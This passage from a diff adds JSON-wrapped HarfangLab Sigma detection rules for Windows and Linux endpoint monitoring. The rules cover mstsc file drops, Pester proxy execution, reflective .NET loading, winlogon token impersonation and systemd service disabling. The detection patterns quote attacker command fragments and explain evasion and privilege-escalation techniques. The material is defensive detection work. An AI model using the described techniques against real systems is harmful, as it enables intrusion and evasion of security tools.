'?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLStart\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Addins\\'\n            - '\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM'\n        Kind:\n            - 'create'\n            - 'write'\n        ProcessProcessName: 'mstsc.exe'\n\n    filter_firstbytes_folder:\n        # Folder\n        FirstBytes|startswith: '494e445828'\n        Kind: 'write'\n\n    filter_firstbytes_empty:\n        # Empty\n        FirstBytes: ''\n        Kind: 'write'\n\n    filter_fxs:\n        Path|startswith: '?:\\Windows\\System32\\FxsTmp\\'\n\n    filter_printer:\n        Path|startswith:\n            - '?:\\Windows\\System32\\spool\\SERVERS\\'\n            - '?:\\Windows\\System32\\spool\\PRINTERS\\'\n            - '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\'\n\n    filter_mstsc_cache:\n        Path|contains: '\\Local\\Microsoft\\Terminal Server Client\\Cache\\'\n\n    exclusion_wsl:\n        ProcessParentImage: '?:\\Windows\\System32\\lxss\\wslhost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3f29d6d1-df14-4f24-abc0-abe36ac82683",
+  "rule_name": "Suspicious File Written by mstsc.exe",
+  "rule_description": "Detects a suspicious file written by mstsc.exe.\nUsing a specially crafted RDP files, attackers may access users local drives through RDP connections and drop malicious files.\nIt is recommended to check the maliciousness of the newly created files and if the connection to the RDP server was legitimate.\n",
+  "rule_creation_date": "2024-10-29",
+  "rule_modified_date": "2025-11-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3f42c0d2-ec03-4a3a-9f16-edf623d11e19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087924Z",
+  "creation_date": "2026-03-23T11:45:34.087926Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087931Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Scripts/pester/",
+    "https://medium.com/@xNEED/pester-ing-lolbas-aadacc075661",
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1216_pester.yml",
+  "content": "title: Suspicious Pester Execution\nid: 3f42c0d2-ec03-4a3a-9f16-edf623d11e19\ndescription: |\n    Detects the suspicious execution of the Pester PowerShell Module.\n    The Pester module can be called by the PowerShell command Invoke-Pester and is used to define tests.\n    However, the Pester.bat script bundled with power is vulnerable to a proxy execution by injecting a semicolon inside the .bat commandline.\n    This legitimate module can be used by attackers to execute arbitrary code to evade detection.\n    It is recommended to analyze the executed PowerShell script as well as child processes stemming from PowerShell to look for further malicious actions or contents.\n    It is also recommended to check for other suspicious activities by the parent process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Scripts/pester/\n    - https://medium.com/@xNEED/pester-ing-lolbas-aadacc075661\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/11/03\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.LOLBin.Pester\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - '{ Invoke-Pester -EnableExit *;?*}'\n            - \"\\\\Pester.psm1'; & { Get-Help *;?*}\"\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3f42c0d2-ec03-4a3a-9f16-edf623d11e19",
+  "rule_name": "Suspicious Pester Execution",
+  "rule_description": "Detects the suspicious execution of the Pester PowerShell Module.\nThe Pester module can be called by the PowerShell command Invoke-Pester and is used to define tests.\nHowever, the Pester.bat script bundled with power is vulnerable to a proxy execution by injecting a semicolon inside the .bat commandline.\nThis legitimate module can be used by attackers to execute arbitrary code to evade detection.\nIt is recommended to analyze the executed PowerShell script as well as child processes stemming from PowerShell to look for further malicious actions or contents.\nIt is also recommended to check for other suspicious activities by the parent process.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3fb86f3f-25bc-4b7f-916b-aa47252ab35f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623998Z",
+  "creation_date": "2026-03-23T11:45:34.624000Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624004Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://capturethetalent.co.uk/evading-defender-using-reflective-dll-loading/",
+    "https://attack.mitre.org/techniques/T1620/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1620_powershell_assembly_loader.yml",
+  "content": "title: .NET Reflection via PowerShell\nid: 3fb86f3f-25bc-4b7f-916b-aa47252ab35f\ndescription: |\n    Detects a specific PowerShell command used to load .NET assemblies.\n    Attackers can use this technique to load malicious code without writing it to the disk hoping to bypass security solutions.\n    It is recommended to verify the legitimacy of this command with the help of PowerShell telemetry.\nreferences:\n    - https://capturethetalent.co.uk/evading-defender-using-reflective-dll-loading/\n    - https://attack.mitre.org/techniques/T1620/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2023/09/29\nmodified: 2026/03/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.MemoryExecution\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - '[System.Reflection.Assembly]::Load([Convert]::FromBase64String('\n            - '[System.Reflection.Assembly]::Load($'\n            - '[System.Reflection.Assembly]::Load([byte[]]'\n            - '[System.Reflection.Assembly]::(?daoL?'\n\n    exclusion_share:\n        ProcessParentImage|startswith: '\\\\\\\\'\n\n    exclusion_forms:\n        PowershellCommand|contains: '[System.Windows.Forms.OpenFileDialog]::new()'\n\n    # https://www.rudder.io\n    exclusion_rudder:\n        PowershellCommand|contains|all:\n            - '$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)'\n            - '[System.AppDomain]::CurrentDomain.remove_AssemblyResolve($onAssemblyResolveEventHandler)'\n            - 'function Load-Rudder'\n\n    # https://github.com/Mr-Un1k0d3r/ATP-PowerShell-Scripts/blob/main/0e3d6d2d-06cc-486d-9465-9ef3bee75444.ps1\n    exclusion_atp1:\n        PowershellCommand|contains|all:\n            - '$assembly = [System.Reflection.Assembly]::Load($bytes)'\n            - 'Loaded DdcHelper library, call RunDdcExe to launch OpenHandleCollector'\n            - '$exitCode = $safeExeLauncher.RunDdcExe('\n    exclusion_atp2:\n        PowershellCommand|contains|all:\n            - '# See readme for details'\n            - '$bytes[$i] = $bytes[$i] -bxor 0x4'\n            - '$assembly = [System.Reflection.Assembly]::Load($bytes)'\n\n    # https://www.powershellgallery.com/packages/SqlServerDsc/15.2.0/Content/Modules%5CSqlServerDsc.Common%5CSqlServerDsc.Common.psm1\n    exclusion_sqlserver1:\n        PowershellCommand|contains|all:\n            - 'missing assembly in the module SqlServer this is still needed.'\n            - '$connectionInfo = New-Object -TypeName ?Microsoft.SqlServer.Management.Common.ServerConnection? -ArgumentList @(?testclu01a\\SQL2014?)'\n            - '$assemblyInformation = [System.Reflection.Assembly]::Load('\n    exclusion_sqlserver2:\n        PowershellCommand|contains|all:\n            - '[System.Reflection.Assembly]::Load('\n            - 'Returns the major SQL version for the specific instance.'\n            - 'function Get-SqlInstanceMajorVersion'\n\n    exclusion_tanium:\n        PowershellCommand|contains|all:\n            - 'function Load-Assembly {'\n            - '$RegPath = ?Registry::HKEY_CURRENT_USER\\Ephemeral?'\n            - '[System.Reflection.Assembly]::Load($AssemblyData.ToArray())'\n        ProcessAncestors|contains:\n            - '|?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumCX.exe|'\n            - '|?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumClient.exe|'\n\n    exclusion_function_load_assembly:\n        # Hash of the PowerShell Load-Assembly function (internal to PowerShell itself).\n        Sha256: '19a89bd7446491a45b3de150803d79e4240c087dd40e9def00c6d950b05e0ede'\n\n    exclusion_fujifilm_healthcare:\n        PowershellScriptPath: '?:\\Users\\\\*\\AppData\\Local\\Temp\\7z*\\x64\\InstallationScripts\\UtilLib.ps1'\n        ProcessAncestors|contains: '|?:\\Windows\\SysWOW64\\cmd.exe|?:\\VOL?\\\\*-Release.exe|?:\\Windows\\explorer.exe|'\n\n    exclusion_serviceportalagent:\n        ProcessImage:\n            - '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\current\\emulator\\MmrAgent.NetFxEmulator.exe'\n            - '?:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\ServicePortalAgent\\current\\ServicePortalAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_refreshit:\n        ProcessParentImage: '?:\\Program Files\\Refresh IT Solutions\\Refresh Deployment Manager PowerShell Host\\Refresh.Common.PowerShell.Host.Server7.exe'\n\n    exclusion_citrix:\n        - ProcessParentImage: '?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\Citrix.Wem.Agent.Service.exe'\n        - PowershellScriptPath|endswith: '\\UpmConfigCheck.ps1'\n          PowershellCommand|contains|all:\n            - 'function Import-LogParser {'\n            - '# version: Citrix.Cloud.WEM.AdminTool/master/'\n\n    exclusion_vscode:\n        ProcessParentImage:\n            - '?:\\Program Files\\Microsoft VS Code\\Code.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n\n    exclusion_visualstudio:\n        # C:\\Program Files\\Microsoft Visual Studio\\2022\\Enterprise\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.Dotnet.x64\\ServiceHub.Host.dotnet.x64.exe\n        # C:\\Program Files\\Microsoft Visual Studio\\18\\Community\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.Extensibility.amd64\\DevHub.exe\n        ProcessParentImage|startswith: '?:\\Program Files\\Microsoft Visual Studio\\'\n        ProcessParentOriginalFileName:\n            - 'ServiceHub.Host.dotnet.x64.dll'\n            - 'DevHub.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3fb86f3f-25bc-4b7f-916b-aa47252ab35f",
+  "rule_name": ".NET Reflection via PowerShell",
+  "rule_description": "Detects a specific PowerShell command used to load .NET assemblies.\nAttackers can use this technique to load malicious code without writing it to the disk hoping to bypass security solutions.\nIt is recommended to verify the legitimacy of this command with the help of PowerShell telemetry.\n",
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2026-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ff2416a-e32c-45f4-b1ec-f1d61b14d607",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093254Z",
+  "creation_date": "2026-03-23T11:45:34.093256Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/",
+    "https://eversinc33.com/posts/windows-access-tokens/",
+    "https://attack.mitre.org/techniques/T1134/001/"
+  ],
+  "name": "t1134_001_winlogon_access_token_impersonation.yml",
+  "content": "title: Winlogon Access Token Impersonation Detected\nid: 3ff2416a-e32c-45f4-b1ec-f1d61b14d607\ndescription: |\n    Detects a suspicious attempt to elevate privileges to local SYSTEM via an access token impersonation of winlogon.exe.\n    Token impersonation is a technique through which a Windows local administrator could steal another user's security token in order to impersonate and effectively execute commands as that user.\n    It is recommended to analyze the behavior and content of both the parent and the child processes to search for malicious actions.\nreferences:\n    - https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\n    - https://eversinc33.com/posts/windows-access-tokens/\n    - https://attack.mitre.org/techniques/T1134/001/\ndate: 2024/04/19\nmodified: 2025/04/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1134.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        ProcessIntegrityLevel: 'High'\n        TargetImage: '?:\\Windows\\System32\\winlogon.exe'\n        GrantedAccessStr: \"PROCESS_DUP_HANDLE\"\n\n    filter_microsoft:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    exclusion_program_files:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_tokenbroker:\n        TargetProcessCommandLine: '?:\\windows\\system32\\svchost.exe -k netsvcs -p -s TokenBroker'\n\n    exclusion_freefilesync:\n        ProcessProduct: 'FreeFileSync'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Florian BAUER'\n\n    exclusion_handle:\n        ProcessOriginalFileName: 'Nthandle.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sysinternals'\n\n    exclusion_runtimebroker:\n        ProcessImage: '?:\\Windows\\System32\\RuntimeBroker.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_aomei:\n        ProcessImage|endswith: '\\AmanCpFile.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'AOMEI International Network Limited'\n\n    exclusion_procexp:\n        ProcessOriginalFileName: 'Procexp.exe'\n        ProcessProduct: 'Process Explorer'\n        ProcessCompany:\n            - 'Sysinternals'\n            - 'Sysinternals - www.sysinternals.com'\n\n    exclusion_adobe:\n        ProcessImage: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\CreativeCloudSet-Up.exe'\n        ProcessParentImage: '?:\\Program Files (x86)\\Common Files\\Adobe\\Adobe Desktop Common\\ElevationManager\\AdobeUpdateService.exe'\n\n    exclusion_systracer:\n        ProcessImage: '?:\\Program Files\\SysTracer\\SysTracer.exe'\n        ProcessOriginalFileName: 'SysTracer.EXE'\n        ProcessCompany: 'Blue Project Software'\n\n    exclusion_perfmon:\n        ProcessImage: '?:\\Windows\\System32\\perfmon.exe'\n        CallTrace|contains: '|?:\\Windows\\System32\\KernelBase.dll+*|?:\\Windows\\System32\\wdc.dll+*|?:\\Windows\\System32\\wdc.dll+*|?:\\Windows\\System32\\kernel32.dll+*|'\n\n    exclusion_dropbox:\n        ProcessOriginalFileName: 'Dropbox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Dropbox, Inc'\n\n    exclusion_eraser:\n        ProcessOriginalFileName: 'Eraser.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Heidi Computers Ltd'\n\n    exclusion_ibm:\n        # C:\\Program Files (x86)\\IBM\\Notes\\nsd.exe\n        ProcessOriginalFileName: 'wnsd.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'International Business Machines Corporation'\n\n    exclusion_bitdefender:\n        # C:\\Program Files\\Bitdefender\\Bitdefender Security App\\bdagent.exe\n        ProcessOriginalFileName: 'bdagent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Bitdefender SRL'\n\n    exclusion_mitel:\n        ProcessImage|endswith: '*\\MitelManagerClient\\Update.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mitel France'\n\n    exclusion_greenshot:\n        ProcessOriginalFileName: 'Greenshot.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Open Source Developer, Robin Krom'\n\n    exclusion_multi_commander:\n        ProcessImage: '?:\\Program Files\\MultiCommander (x64)\\MultiCommander.exe'\n        ProcessOriginalFileName: 'MultiCommander.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ff2416a-e32c-45f4-b1ec-f1d61b14d607",
+  "rule_name": "Winlogon Access Token Impersonation Detected",
+  "rule_description": "Detects a suspicious attempt to elevate privileges to local SYSTEM via an access token impersonation of winlogon.exe.\nToken impersonation is a technique through which a Windows local administrator could steal another user's security token in order to impersonate and effectively execute commands as that user.\nIt is recommended to analyze the behavior and content of both the parent and the child processes to search for malicious actions.\n",
+  "rule_creation_date": "2024-04-19",
+  "rule_modified_date": "2025-04-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4030d3e4-9b06-4b18-a6a2-04f077cafbe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.578321Z",
+  "creation_date": "2026-03-23T11:45:35.294424Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294431Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1489/",
+    "https://attack.mitre.org/techniques/T1569/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1489_systemd_service_disabled.yml",
+  "content": "title: SystemD Service Disabled\nid: 4030d3e4-9b06-4b18-a6a2-04f077cafbe5\ndescription: |\n    Detects when a systemd service is manually disabled.\n    Adversaries may disable services on a system to render those services unavailable to legitimate users or to impair the security tools already installed.\n    It is recommended to ensure that both a legitimate administrator disabled this service and that the service is not critical.\n    Additionally, it is recommended to investigate the process responsible for the disabling of the service to look for malicious content or actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1489/\n    - https://attack.mitre.org/techniques/T1569/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1489\n    - attack.execution\n    - attack.t1569\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/systemctl'\n        CommandLine|contains: ' disable '\n        ParentImage|contains: '?'\n\n    filter_other_rules:\n        CommandLine|contains:\n            # This is handled by another other 4bad3446-0e5e-44b4-9fd5-3bb35c6d7625\n            - 'ufw'\n            - 'firewalld'\n            # This is handled by another other 8ff98ac0-e971-4cd5-8393-79bb8a209cd3\n            - 'rsyslog'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors: '|/usr/bin/dpkg|'\n\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/'\n\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_rpm:\n        - ProcessParentCommandLine: '/bin/sh /var/tmp/rpm-tmp.*'\n        - ProcessGrandparentCommandLine: '/bin/sh /var/tmp/rpm-tmp.*'\n        - ProcessAncestors|contains: '|/usr/bin/rpm|'\n\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - 